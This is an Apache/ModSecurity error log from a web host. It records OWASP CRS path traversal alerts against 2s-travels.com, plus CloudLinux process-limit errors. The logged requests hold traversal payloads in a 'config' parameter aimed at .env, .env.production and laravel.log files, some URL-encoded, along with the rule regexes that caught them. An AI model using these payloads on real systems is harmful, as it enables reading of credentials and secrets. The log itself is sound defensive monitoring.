[Fri Jul 17 08:55:04.814870 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../../.env&anything=ddppgaia7gepjilzak9vtvri0e3vsiyiicbgr9n-qvn3c1vwcmpuri-vtplhv5b_f073pnjdn00mk6bqlfdw2e1fnodqxbkeaz4zi3odx9vcoopoabcp33-9bmaewxxsz7qzqliu4vmcbi79fvxxulhdxchxelwcn8gmxzasanidg_tifvd9-22xgulz-c06wzvybz2cd53iypiv2hmhsz-idzwz2n17ktapnaxsfg30fyrs8ivxf8su8lhuglmjd9ghuvsqfrgp7840z2runy9y&token=alg77z6arxbxvuxmvd3gvassnfesuwn47bfvs2gjwipny2sroaioze3j5f3xzdzbieje7beec76zap7zkptdfph2lpqh7teuiyldoorssgq2pdyhrmt25y3kv6pzvzajiwrhqdoauwxmahyye..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-IAAAABw"]
[Fri Jul 17 08:55:04.814895 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-IAAAABw"]
[Fri Jul 17 08:55:04.814923 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-IAAAABw"]
[Fri Jul 17 08:55:04.816182 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-IAAAABw"]
[Fri Jul 17 08:55:04.816303 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.817129 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkIZvbo7N5o5zeYC-IAAAABw"]
[Fri Jul 17 08:55:04.823612 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?config=..%2F..%2F..%2F..%2F..%2F.env&ref=Dsnc49IycloiOPcWkIiWgAwR_0EYsP_Gy6_FSwrag9SRfMaq4_P4MFo-lz4VlSFDbvvQWeWCIUmGXAVDflF7xogjM9qwYQYLbdbqYGRmY4U-QVtlB4wSOC_BDlGyx9Wh2CtLuYNfvpHLm0nPwKDmtuDUGGrgktniEjbxYm_bsSEY_HIsv38c2HERWWNDxnqNv9fBqxwGMvSFdoVLjnjmeU9dBI5IXRLl_261hNBbfV7mOVc7pXbH_pkHq-0PsQXGr_8nmKRaPernWD8gCAMP5Q71&ref=564SAQ2RHWQ6AH53OYGT7MSHRIXEYEXFY54AEZJS54TYMQ4OFULNESLZ7GHQF3ENA6UP5VWC6LFOIUAZGDWV2XZWMGHWUIQ2IYGDTIITGC5PIB4R4TM4GAF3REY5SMPL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95iwAAAAw"]
[Fri Jul 17 08:55:04.823673 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95iwAAAAw"]
[Fri Jul 17 08:55:04.823737 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../../../../.env&ref=Dsnc49IycloiOPcWkIiWgAwR_0EYsP_Gy6_FSwrag9SRfMaq4_P4MFo-lz4VlSFDbvvQWeWCIUmGXAVDflF7xogjM9qwYQYLbdbqYGRmY4U-QVtlB4wSOC_BDlGyx9Wh2CtLuYNfvpHLm0nPwKDmtuDUGGrgktniEjbxYm_bsSEY_HIsv38c2HERWWNDxnqNv9fBqxwGMvSFdoVLjnjmeU9dBI5IXRLl_261hNBbfV7mOVc7pXbH_pkHq-0PsQXGr_8nmKRaPernWD8gCAMP5Q71&ref=564SAQ2RHWQ6AH53OYGT7MSHRIXEYEXFY54AEZJS54TYMQ4OFULNESLZ7GHQF3ENA6UP5VWC6LFOIUAZGDWV2XZWMGHWUIQ2IYGDTIITGC5PIB4R4TM4GAF3REY5SMPLWT545IESSVU4QMZZC7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95iwAAAAw"]
[Fri Jul 17 08:55:04.823765 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../../../../.env&ref=dsnc49iycloiopcwkiiwgawr_0eysp_gy6_fswrag9srfmaq4_p4mfo-lz4vlsfdbvvqwewciumgxavdflf7xogjm9qwyqylbdbqygrmy4u-qvtlb4wsoc_bdlgyx9wh2ctluynfvphlm0npwkdmtuduggrgktniejbxym_bssey_hisv38c2herwwndxnqnv9fbqxwgmvsfdovljnjmeu9dbi5ixrll_261hnbbfv7movc7pxbh_pkhq-0psqxgr_8nmkrapernwd8gcamp5q71&ref=564saq2rhwq6ah53oygt7mshrixeyexfy54aezjs54tymq4ofulneslz7ghqf3ena6up5vwc6lfoiuazgdwv2xzwmghwuiq2iygdtiitgc5pib4r4tm4gaf3rey5smplwt545iessvu4qmzzc7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95iwAAAAw"]
[Fri Jul 17 08:55:04.823786 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95iwAAAAw"]
[Fri Jul 17 08:55:04.823804 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95iwAAAAw"]
[Fri Jul 17 08:55:04.824997 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95iwAAAAw"]
[Fri Jul 17 08:55:04.825166 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.825514 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkIl9vhFBGA6D8l95iwAAAAw"]
[Fri Jul 17 08:55:04.889109 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?config=..%2F..%2F..%2F..%2F.env&ts=1gz3UyiuziFMDBYLCih0n3F1Rg_XSlg8xX4IwKadMyaP76p0b1M0ZETdPMVyqrFTR15mzfng8v8O2Z5JntbbKXdcrZa96p7Roq9BUt4Gb8-Wx2sALi5ALWuL9OQATNhkil8B1bdmKuR4p5Rn-z0GdX0jKlho1nvqOipWX3WBgHuMRRqrWAXMMZrH_EcX3LWQTfx0zIuPNeDDBcmxixA5mvQrtGrnPamf1GPCed8kPcMO9U2X_-LAiTsHCiRw9SnwQKLtI9uBlYMEvF8FaNnGqSph&token=VVPX3ZAPEUDFMIDN33ZE3BLKWMEIZYYVZ6AJ6JV2V7PRQUHSTD2C2MKRTD4OELTQH2B4OQF5AVWU2ANAVXNNQWM7Q4MZKGWR3ZZT2YVD3LEVPLARITPMPUTXF6UINBIUBTLW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkBHlOGcokz2QIwTS9AAAAAM"]
[Fri Jul 17 08:55:04.889196 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkBHlOGcokz2QIwTS9AAAAAM"]
[Fri Jul 17 08:55:04.889266 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../../../.env&ts=1gz3UyiuziFMDBYLCih0n3F1Rg_XSlg8xX4IwKadMyaP76p0b1M0ZETdPMVyqrFTR15mzfng8v8O2Z5JntbbKXdcrZa96p7Roq9BUt4Gb8-Wx2sALi5ALWuL9OQATNhkil8B1bdmKuR4p5Rn-z0GdX0jKlho1nvqOipWX3WBgHuMRRqrWAXMMZrH_EcX3LWQTfx0zIuPNeDDBcmxixA5mvQrtGrnPamf1GPCed8kPcMO9U2X_-LAiTsHCiRw9SnwQKLtI9uBlYMEvF8FaNnGqSph&token=VVPX3ZAPEUDFMIDN33ZE3BLKWMEIZYYVZ6AJ6JV2V7PRQUHSTD2C2MKRTD4OELTQH2B4OQF5AVWU2ANAVXNNQWM7Q4MZKGWR3ZZT2YVD3LEVPLARITPMPUTXF6UINBIUBTLW5OQEVF6ZKR467K3N..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkBHlOGcokz2QIwTS9AAAAAM"]
[Fri Jul 17 08:55:04.889324 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../../../.env&ts=1gz3uyiuzifmdbylcih0n3f1rg_xslg8xx4iwkadmyap76p0b1m0zetdpmvyqrftr15mzfng8v8o2z5jntbbkxdcrza96p7roq9but4gb8-wx2sali5alwul9oqatnhkil8b1bdmkur4p5rn-z0gdx0jklho1nvqoipwx3wbghumrrqrwaxmmzrh_ecx3lwqtfx0ziupneddbcmxixa5mvqrtgrnpamf1gpced8kpcmo9u2x_-laitshcirw9snwqklti9ublymevf8fanngqsph&token=vvpx3zapeudfmidn33ze3blkwmeizyyvz6aj6jv2v7prquhstd2c2mkrtd4oeltqh2b4oqf5avwu2anavxnnqwm7q4mzkgwr3zzt2yvd3levplaritpmputxf6uinbiubtlw5oqevf6zkr467k3n..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkBHlOGcokz2QIwTS9AAAAAM"]
[Fri Jul 17 08:55:04.889364 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkBHlOGcokz2QIwTS9AAAAAM"]
[Fri Jul 17 08:55:04.889393 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkBHlOGcokz2QIwTS9AAAAAM"]
[Fri Jul 17 08:55:04.892239 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWQAAAB4"]
[Fri Jul 17 08:55:04.892278 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWQAAAB4"]
[Fri Jul 17 08:55:04.892947 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkBHlOGcokz2QIwTS9AAAAAM"]
[Fri Jul 17 08:55:04.893177 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.893465 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSWQAAAB4"]
[Fri Jul 17 08:55:04.893562 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkBHlOGcokz2QIwTS9AAAAAM"]
[Fri Jul 17 08:55:04.893575 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.893864 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkFCBpfuYyhJ140vSWQAAAB4"]
[Fri Jul 17 08:55:04.904057 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:55372] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:04.909016 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBLwAAABs"]
